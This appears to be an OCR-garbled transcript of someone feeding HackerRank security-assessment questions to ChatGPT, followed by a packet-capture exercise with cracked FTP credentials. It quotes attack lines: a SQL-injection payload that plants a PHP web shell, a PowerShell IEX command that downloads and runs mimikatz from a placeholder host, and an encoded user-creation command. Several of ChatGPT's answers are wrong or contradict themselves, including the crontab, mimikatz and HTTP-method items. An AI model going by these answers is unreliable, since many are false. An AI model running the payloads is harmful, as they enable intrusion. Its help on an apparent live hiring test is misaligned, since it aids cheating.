HACKERRANK

June 7, 2024
1. You are a network engineer ata mid-sized real estate company. From the WAN: side,
your network Is visible as "<name> com" with ports 443, 22 open, and "mail. .<name>.
com" mths port 25 open. As a result of a security incident when your postfix, sshd, and
nginx instances were under attack, you decide to change their IP addresses. You have the
budget approved to leverage a cloud security provider that will filter the requests to postfix
and nginx before passing them to your servers. Which DNS entries will need to be
changed? Options are
A,ns,
mx Ms,
mx Ns,
soa
Soa A A,mx
A,mx,soa,ns
ChatGPT

To address the security incident and leverage a cloud security provider to filter requests to your
postfix (mail server) and nginx (web server), you need to update the DNS records that direct
traffic to these servers. Specifically, you will need to update the following DNS records:

1. A (Address) Records: These point to the IP addresses of your servers. Since you are
changing the IP addresses, the A records for your main domain (<name>.com) and
subdomain (mail.<name>.com) need to be updated to point to the new IP addresses
provided by the cloud security provider.
2. MX (Mail Exchange) Records: These specify the mail servers responsible for receiving
email on behalf of your domain. Since your mail server's IP address is changing, you
need to update the MX records to reflect the new setup provided by the cloud security
provider.
3. NS (Name Server) Records: These specify the authoritative name servers for your
domain. If you are using the cloud security provider’s name servers to handle DNS
queries, you need to update the NS records accordingly.
4. SOA (Start of Authority) Record: This record contains administrative information
about the domain, including the primary name server. If there is any change in the
primary name server or other SOA details due to the involvement of the cloud security
provider, you need to update the SOA record.

Given the scope of the changes described, the correct option is:

A, MX, SOA, NS

Therefore, the correct answer is: A, mx, soa, ns

Q.You are a security engineer for an applicant tracking system (ATS) provider. A job
seeker uploads their resume and an internal system parses it to get work history, education,
and contact information among others. An external data privacy review determines that
the files should not be stored in plaintext for GDPR compliance. The business is also trying
to keep storage cosh at a minimum. Which of the following do you recommend done to
each resume? be Pick ONE option encode, then compress compress, then encode encrypt,
then comnpress compress, Elen encrypt
ChatGPT

To comply with GDPR and keep storage costs at a minimum, the recommended approach for
handling the resumes would be:

compress, then encrypt

Here's why this approach is optimal:

1. Compression First: Compressing the resume files before encryption reduces the size of
the files, which helps in minimizing storage costs. Compression algorithms work best on
plaintext data, and the compression ratio is generally higher compared to compressing
encrypted data, which appears more random.
2. Encryption After Compression: Encrypting the data after compression ensures that the
sensitive information is protected. This is essential for GDPR compliance, as it prevents
unauthorized access to personal data.

Encrypting compressed files provides security without compromising the benefits of reduced
storage requirements from compression.

Therefore, the correct answer is: compress, then encrypt

Q.Which of the regular expressions below would match the following string:
sub.domain.com/1234
Pick ONE option
^s.(3)\.[aA-zZ](6)\.(gov|com)V[1-9](4]$
^.(3)\.[aA-zZ](6)1.(gov|com)V[2-0](4)$
^.(3)\.[aA-zZ][aA-zZ][aA-zZ][aA-zZ][aA-zZ]\.(gov|com)V[1-9](4)$ 6
^(3)\.[aA-zZ1(6)\.(gov|com)V[1-9](4)$
ChatGPT

None of the provided regular expressions correctly match the string "sub.domain.com/1234"
based on the typical structure of regular expressions. Let's analyze the string and the required
pattern:

 sub.domain.com: This part has two segments separated by dots, with "sub" and
"domain" being alphabetical characters, and "com" being a top-level domain.
 /1234: This part consists of a forward slash followed by four digits.
Here’s a breakdown of what we need:

 Match the prefix "sub."

 Match the domain part, which can include letters and possibly dots.
 Match the TLD, which can be "com".
 Match the forward slash "/" and four digits "\d{4}".

Given these requirements, a suitable regular expression would be:

regex
Copy code
^sub\.[a-zA-Z]+\.(com|gov)/\d{4}$

This regular expression:

 ^sub\. matches the literal string "sub."

 [a-zA-Z]+ matches one or more letters in the domain part.
 \.(com|gov) matches either ".com" or ".gov".
 /\d{4}$ matches a forward slash followed by exactly four digits at the end of the string.

Since none of the provided options fit this pattern precisely, the correct regular expression is not
listed among the options.

Q.ALL Man In the Middle Attack You rust ensure a message is not modified through a
Man-in-the-Middle attack. What cryptographic methods can be used as a parameter in a
web request to ensure the message has not been tampered with transit? Pick ONE option
Encoding Encryption Hashing None of these
ChatGPT

To ensure a message is not modified during transit and protect against a Man-in-the-Middle
attack, the cryptographic method you should use is:

Hashing

Here’s why:

 Hashing: By generating a hash (e.g., using SHA-256) of the message content and
including it as a parameter in the web request, you can verify the integrity of the message.
When the message is received, the recipient can re-compute the hash and compare it to
the hash sent with the message. If the hashes match, the message has not been tampered
with.

Encoding and encryption do not inherently provide integrity checks. While encryption ensures
confidentiality, it does not verify that the message was not altered. Encoding, such as Base64, is
not a security measure but rather a way to transform data into a different format.
Therefore, the correct answer is: Hashing

Q.Identify all read only HTTP method(s) in REST architecture Pick ONE OR MORE
options

PUT
HEAD
GET
DELETE
POST
PATCH
ChatGPT

In the REST architecture, the read-only HTTP methods are those that do not modify the server's
state and are safe to use for retrieving information. The read-only HTTP methods are:

 GET: Retrieves data from the server.

 HEAD: Similar to GET but only retrieves the headers of the response, not the body.
 OPTIONS: Used to describe the communication options for the target resource, which
does not alter the state of the resource.

Therefore, the correct answers are:

 GET
 HEAD
 OPTIONS

Q.You are assigned to create a 2nd layer of defense for a banking application LO
encrypting the sensitive data in the database, Which c ofthe following standards I is the
best choice if security is your first priority, irrespective of the computing power reguired?
Pick ONE option SHA DES Triple DES AES
ChatGPT

For encrypting sensitive data in a database with a focus on security, the best choice among the
options provided is:

AES (Advanced Encryption Standard)

Here’s why:

 AES is widely regarded as the most secure encryption standard available today. It has
been adopted by the U.S. government and is used globally to protect sensitive data.
 AES supports key lengths of 128, 192, and 256 bits, providing a high level of security
and making it resistant to brute-force attacks.
  While Triple DES (3DES) offers more security than DES, it is still considered less
secure and slower compared to AES. 3DES is also being phased out due to vulnerabilities
and inefficiencies.
 SHA (Secure Hash Algorithm) is not an encryption algorithm; it is a family of
cryptographic hash functions used for integrity checks and generating digests, not for
encrypting data.
 DES (Data Encryption Standard) is an older encryption standard that has been largely
deprecated due to its vulnerability to brute-force attacks given modern computing power.

Given these points, AES is the most secure and appropriate choice for encrypting sensitive data
in a database.

Therefore, the correct answer is: AES

Q.An attacker found a SQL injection in a banking application and uses this payload to
exploit it. UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE
'/var/www/html/app/cmd.php What is the impact if the payload executes successfully?
Pick ONE option
Sensitive Data Exposure
SQL Injection
Remote Code Execution
Local File Read
ChatGPT

The payload provided is designed to exploit a SQL injection vulnerability in order to write a
malicious PHP script to the web server. This PHP script, once executed, allows the attacker to
run arbitrary commands on the server via the cmd parameter in a GET request.

Here’s a breakdown of the payload:

 UNION SELECT is used to combine the results of the original SQL query with the
attacker’s crafted query.
 ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE
'/var/www/html/app/cmd.php' writes a PHP script to the specified path on the server.

If this payload executes successfully, the attacker can send a request to cmd.php with a cmd
parameter, executing any command on the server. This constitutes:

Remote Code Execution (RCE)

RCE is one of the most critical impacts as it allows the attacker to execute arbitrary code on the
server, potentially leading to full server compromise.

Therefore, the correct answer is: Remote Code Execution

Q.If Bob wants to send Alice a confidential message using PKI, which key should he use to
encrypt the message? Pick ONE option Bob's private key Bob's public key ) Alice's private
key Alice's public key
ChatGPT

If Bob wants to send Alice a confidential message using Public Key Infrastructure (PKI), he
should use:

Alice's public key

Here’s why:

 In PKI, the public key of the recipient is used to encrypt the message. Only the
corresponding private key, which is kept secret by the recipient (Alice), can decrypt the
message.
 By encrypting the message with Alice's public key, Bob ensures that only Alice, who
possesses the matching private key, can decrypt and read the message.

Therefore, the correct answer is: Alice's public key

Q9. OSI Model level You I have just deployed a new device that decrypts the SSt traffic.
analyzes it for possible threats, and. allows or disallows it based on rules. What is the
highest level of the OSI model that is involved in the process? Options 1 2 3 4 5 7
ChatGPT

The device you described performs decryption of SSL (Secure Sockets Layer) traffic, analyzes
the decrypted content for possible threats, and applies rules to allow or disallow the traffic. This
involves working with the actual data and content being transmitted, which corresponds to the
application layer of the OSI model.

The OSI model levels are:

1. Physical
2. Data Link
3. Network
4. Transport
5. Session
6. Presentation
7. Application

Here’s the breakdown:

 Decryption of SSL traffic: SSL/TLS operates at the presentation layer (Layer 6) for
encryption/decryption purposes.
  Analyzing the decrypted content and applying rules: This involves examining the data
at the application level (Layer 7), as it deals with the actual content and semantics of the
communication.

Since the device is ultimately analyzing and applying rules based on the content of the decrypted
data, the highest level involved in the process is the application layer.

Therefore, the correct answer is: 7

Q11. File execution Which of the 2 following commands executes the file without saving a
local copy of it?

Pick ONE option

powershell.exe -c "(new-object
System.Net.WebClient).DownloadFile("http://x.x.x.x/mimikatz","C:\temp\file.exe")"

powershell.exe -c IEX(New-Object
Net.WebClient).DownloadString('http://x.x.x.x/mimikatz.exe")

Both A& B

None of the above

ChatGPT

The command that executes the file without saving a local copy of it is:

powershell.exe -c IEX(New-Object
Net.WebClient).DownloadString('http://x.x.x.x/mimikatz.exe')

This command uses PowerShell's Invoke-Expression cmdlet (IEX) to directly download and
execute the file from the specified URL without saving it locally. It fetches the content of the file
as a string using DownloadString, then executes it in memory.

Therefore, the correct option is: None of the above

Q.What will be the output of the following Python code snippet? n 2 s ="Programming"
print(s * n) Pick ONE option
2Programming
ProgrammingProgramming
Error: Incompatible variable types 12 2*Programming
ChatGPT

The output of the following Python code snippet will be:

ProgrammingProgramming
Explanation:

 The variable s contains the string "Programming".

 The expression s * n means concatenating the string s with itself n times.
 Since n is equal to 2, the string "Programming" will be concatenated with itself 2 times,
resulting in "ProgrammingProgramming".

Therefore, the correct option is: ProgrammingProgramming

Q13. Remote Access via SSH You are connecting to an ATM via SSH protocol to service
when you enter your credentials at the prompt? For some reason, you get an unusua
prompt. It states that the authentication message from the ATM is nat known to your
workstation, Which risk is not accepted Pick ONE option The offender can: steal the
credentials. ○ The offender can read the commands you are sending to the ATM The
offender can display the wrong configuration of the ATM. The offender can take control of
vour workstation using the SSH session right after you enter the credentials
ChatGPT

The risk that is not accepted in this scenario is:

The offender can take control of your workstation using the SSH session right after you
enter the credentials.

Explanation:

 The prompt indicating that the authentication message is not known to your workstation
suggests a potential man-in-the-middle (MitM) attack.
 If the authentication message is not recognized by your workstation, it means there might
be an interception or tampering of the SSH connection.
 Allowing the connection to proceed despite the unrecognized authentication message
could result in the offender gaining control of your workstation through the compromised
SSH session.

Therefore, accepting this risk could potentially lead to the offender taking control of your
workstation, rather than just stealing credentials, reading commands, or displaying incorrect
configurations.

So, the correct option is: The offender can take control of your workstation using the SSH
session right after you enter the credentials.
Q14. Crontab entry Consider the following crontab entry: 0 0 **1 /root/backup.sh When
would the backup script run? Pick ONE option
Everyday at 1am
Every 1st of the Month at midnight
Every Monday at midnight 14
Every Sunday at 1am 15
None of the above
ChatGPT

The provided crontab entry is:

javascript
Copy code
0 0 1 * /root/backup.sh

This entry specifies that the backup script (backup.sh) will run at midnight (00:00) on the 1st
day of every month.

So, the correct option is: Every 1st of the Month at midnight

Q15.Permissions Considering the permissions assigned to each of the files below, which one
can be leveraged by an attacker
Pick ONE option
-rwxr-xr-x 1 root root /bin/cp
-nwxrwxrwx root root /bin/cp
rwsr-xr-x root root /bin/cp
-rwxrwxrwx 1 ubuntu ubuntu /bin/cp
ChatGPT

The file that can be leveraged by an attacker is the one with the permissions:

bash
Copy code
rwsr-xr-x root root /bin/cp

This permission set includes the s in the user permissions section, indicating the setuid (suid) bit.
When the suid bit is set on an executable file, it runs with the privileges of the file's owner rather
than the user executing it.

Therefore, an attacker can potentially leverage this suid binary to escalate privileges and execute
commands with elevated privileges.

So, the correct option is: rwsr-xr-x root root /bin/cp

Q16. Analyze a Recursive Function ALL What is the output of the following program? int
foo (int x) if (x <= 0) return ; else return foo(x-2) int main() cout foo(8); return ; Pick ONE
option 20 18 21 ◦ Clear Selection
ChatGPT

The given program contains a recursive function foo that takes an integer x as input. It subtracts
2 from x recursively until x becomes less than or equal to 0, at which point it returns.

The main function calls foo with the argument 8 and prints the returned value.

However, there are a few issues with the provided code:

1. The function foo does not have a return type specified. It should be int foo(int x)
instead of just foo(int x).
2. The cout statement in the main function is missing <<.

Assuming these issues are corrected, the function will keep subtracting 2 from 8 until it becomes
less than or equal to 0. Here's the sequence:

 foo(8) -> foo(6) -> foo(4) -> foo(2) -> foo(0)

When foo(0) is called, it returns without calling foo again.

So, the output of the program will be:

Copy code
0

Therefore, the correct option is: 0

Q17. Powershell What does the following command do? powershell.exe-noprofile -
ExecutionPolicy Unrestricted -EncodedCommand
bmV0IHVzZXIgcGlnZ3kgb2luayAvYWRk
Pick ONE option

Creates the user `piggy' with the password 'oink' and adds it to the domain (b64. ○
bmV0IHVzZXIgcGInZ3kgb2luayAvYWRk)

Creates the user 'oink' with the password 'piggy' and adds it to the domain (b64
bmV0IHVzZXIgcGlnZ3kgb2luayAvYWRk) ○

Creates the user 'piggy' with the password "oink' (b64 =

bmV0HVz2XIgcGlnZ3kgb2luayAvYWRK)

Creates the user 'oing' with the password "piggy' (b64 =

bmV0HVzZXIgcGlnZ3kgb2luayAvYWRk)
ChatGPT

The provided PowerShell command is using the -EncodedCommand parameter, which means the
command is encoded in Base64 format. Decoding the Base64 string
bmV0IHVzZXIgcGlnZ3kgb2luayAvYWRk results in the command net user piggy oink /add.

So, the command:

Copy code
powershell.exe -noprofile -ExecutionPolicy Unrestricted -EncodedCommand
bmV0IHVzZXIgcGlnZ3kgb2luayAvYWRk

will create a new user named 'piggy' with the password 'oink'.

Therefore, the correct option is: Creates the user 'piggy' with the password 'oink'
Q17. Powershell What does the following command do? powershell.exe-noprofile -
ExecutionPolicy Unrestricted -EncodedCommand
bmV0IHVzZXIgcGlnZ3kgb2luayAvYWRk Pick ONE option
1.Creates the user `piggy' with the password 'oink' and adds it to the domain (b64. ○
bmV0IHVzZXIgcGInZ3kgb2luayAvYWRk)
2. Creates the user 'oink' with the password 'piggy' and adds it to the domain (b64
bmV0IHVzZXIgcGlnZ3kgb2luayAvYWRk)
3.○ Creates the user 'piggy' with the password "oink' (b64 =
bmV0HVz2XIgcGlnZ3kgb2luayAvYWRK)
4. Creates the user 'oing' with the password "piggy' (b64 =
bmV0HVzZXIgcGlnZ3kgb2luayAvYWRk) Which option?
ChatGPT

Based on the Base64 decoding of the encoded command

bmV0IHVzZXIgcGlnZ3kgb2luayAvYWRk, it translates to the PowerShell command net user
piggy oink /add.

So, the correct option is:

3. Creates the user 'piggy' with the password 'oink'

Q. This is a pcap file analyseit. We have suspicios traffic and ound

that we have being hacked. Can you find user that attacker
managed to crack. Also find the password and find what attacker
managed to get
ChatGPT

It seems that neither pyshark nor scapy is available in this environment, and tshark is not
installed. Let's manually parse and analyze the PCAP file to identify the suspicious traffic and
find the user credentials the attacker managed to crack.

I'll start by reading the PCAP file's raw data and then analyze the contents for any notable
patterns, such as clear text credentials or suspicious communication.

It seems like I can’t do more advanced data analysis right now. Please try again later.

To proceed with analyzing your PCAP file and identifying the suspicious traffic, user
credentials, and other details, you can use tools like Wireshark on your local machine. Here's a
step-by-step guide to help you with the analysis:

1. Open the PCAP file in Wireshark:

o Download and install Wireshark.
o Open Wireshark and load your PCAP file.

2. Filter HTTP Traffic:

 o Use the filter http to see all HTTP traffic.
o Look for any packets that may contain credentials. HTTP POST
requests often contain login credentials.

3. Inspect Packet Details:

o Click on individual packets to inspect their details.
o Check the "Hypertext Transfer Protocol" section for any
"Authorization" headers or form data containing usernames and
passwords.

4. Follow TCP Streams:

o Right-click on a suspicious packet and select "Follow" > "TCP
Stream".
o This will allow you to see the full conversation, which might
contain credentials or other sensitive information.

5. Check for Other Protocols:

o If you suspect other protocols might be involved, use filters like
ftp, smtp, pop, imap, etc., to check for credentials transmitted over
those protocols.

If you need further assistance with specific steps or interpreting the data, feel free to ask!

4o
on correct password what respose code will server give me
ChatGPT

When a server receives a correct password, the response code typically depends on the type of
authentication and the protocol used. Here are some common scenarios:

1. HTTP Authentication:
o 200 OK: The server responds with this status code when the
credentials are correct and the request is successful.
o 302 Found (or other 3xx codes): Sometimes, the server
redirects the client to a different page after a successful login,
often using 302 Found.

2. FTP Authentication:
o 230 User logged in, proceed: This response indicates that the
user has successfully logged in.

3. SMTP Authentication:
o 235 Authentication successful: Indicates successful
authentication in an SMTP transaction.

4. IMAP Authentication:
 o OK LOGIN completed: Indicates successful login in an IMAP
session.

5. POP3 Authentication:
o +OK Welcome: Indicates successful login in a POP3 session.

In the context of web applications, you are most likely dealing with HTTP status codes, so a 200
OK or a 302 Found would be common responses for a successful authentication. To verify this,
you can inspect the HTTP response in your packet capture tool, such as Wireshark. Look at the
HTTP response status code in the packets following the login request.

4o
how to search that in wireshar
ChatGPT

To search for successful authentication responses in Wireshark, follow these steps:

For HTTP Authentication

1. Open the PCAP File:

o Open Wireshark and load your PCAP file by navigating to File >
Open and selecting your file.

2. Apply an HTTP Filter:

o In the display filter bar at the top, type http and press Enter to
filter for HTTP traffic.

3. Look for POST Requests:

o Scroll through the list of packets and look for HTTP POST
requests, as these often contain login credentials.
o Click on a POST request to highlight it.

4. Follow the TCP Stream:

o Right-click on the POST request packet and select Follow > TCP
Stream.
o This will open a new window showing the entire TCP
conversation.
o Look for HTTP response codes (200 OK, 302 Found) in the server's
response.

5. Search for Response Codes:

o Close the TCP Stream window and return to the main Wireshark
window.
o Use the display filter to search for specific response codes. For
example, to find all 200 OK responses, use the filter:
http.response.code == 200.
 o For 302 Found responses, use the filter: http.response.code == 302.

For FTP, SMTP, IMAP, POP3 Authentication

1. Open the PCAP File:

o Open Wireshark and load your PCAP file.

2. Apply a Protocol Filter:

o Use appropriate filters for the specific protocol:
 FTP: ftp
 SMTP: smtp
 IMAP: imap
 POP3: pop

3. Search for Successful Authentication Responses:

o Look for specific response messages in the packet list:
 FTP: Look for 230 User logged in, proceed.
 SMTP: Look for 235 Authentication successful.
 IMAP: Look for OK LOGIN completed.
 POP3: Look for +OK Welcome.

Example Steps for HTTP Authentication in Detail

1. Open Wireshark and Load PCAP File:

o Open Wireshark.
o Go to File > Open and select your PCAP file.

2. Filter HTTP Traffic:

o Enter http in the display filter bar and press Enter.

3. Find HTTP POST Requests:

o Scroll through the filtered list to locate HTTP POST requests.
These are typically used for login forms.
o Click on a POST request packet to inspect it.

4. Follow TCP Stream:

o Right-click on the packet.
o Select Follow > TCP Stream.
o This will show the entire communication stream between the
client and server.

5. Identify Response Codes:

o Look at the server's response in the TCP stream window for
status codes such as 200 OK or 302 Found.
o Close the TCP stream window when done.
 6. Search for Specific HTTP Response Codes:
o Use http.response.code == 200 to find all 200 OK responses.
o Use http.response.code == 302 to find all 302 Found responses.

By following these steps, you can effectively search for and identify successful authentication
responses in your packet capture using Wireshark. If you need more specific assistance, please
provide details about the type of traffic or authentication method you're analyzing.

ANS: search FTP and use cntrl +F to find response 230 which says login
successful.
Then follow the tcp strem
Username is 0xMM0X
Password is 326.axommoxa.a4
Content downloaded is youarenotsecure.txt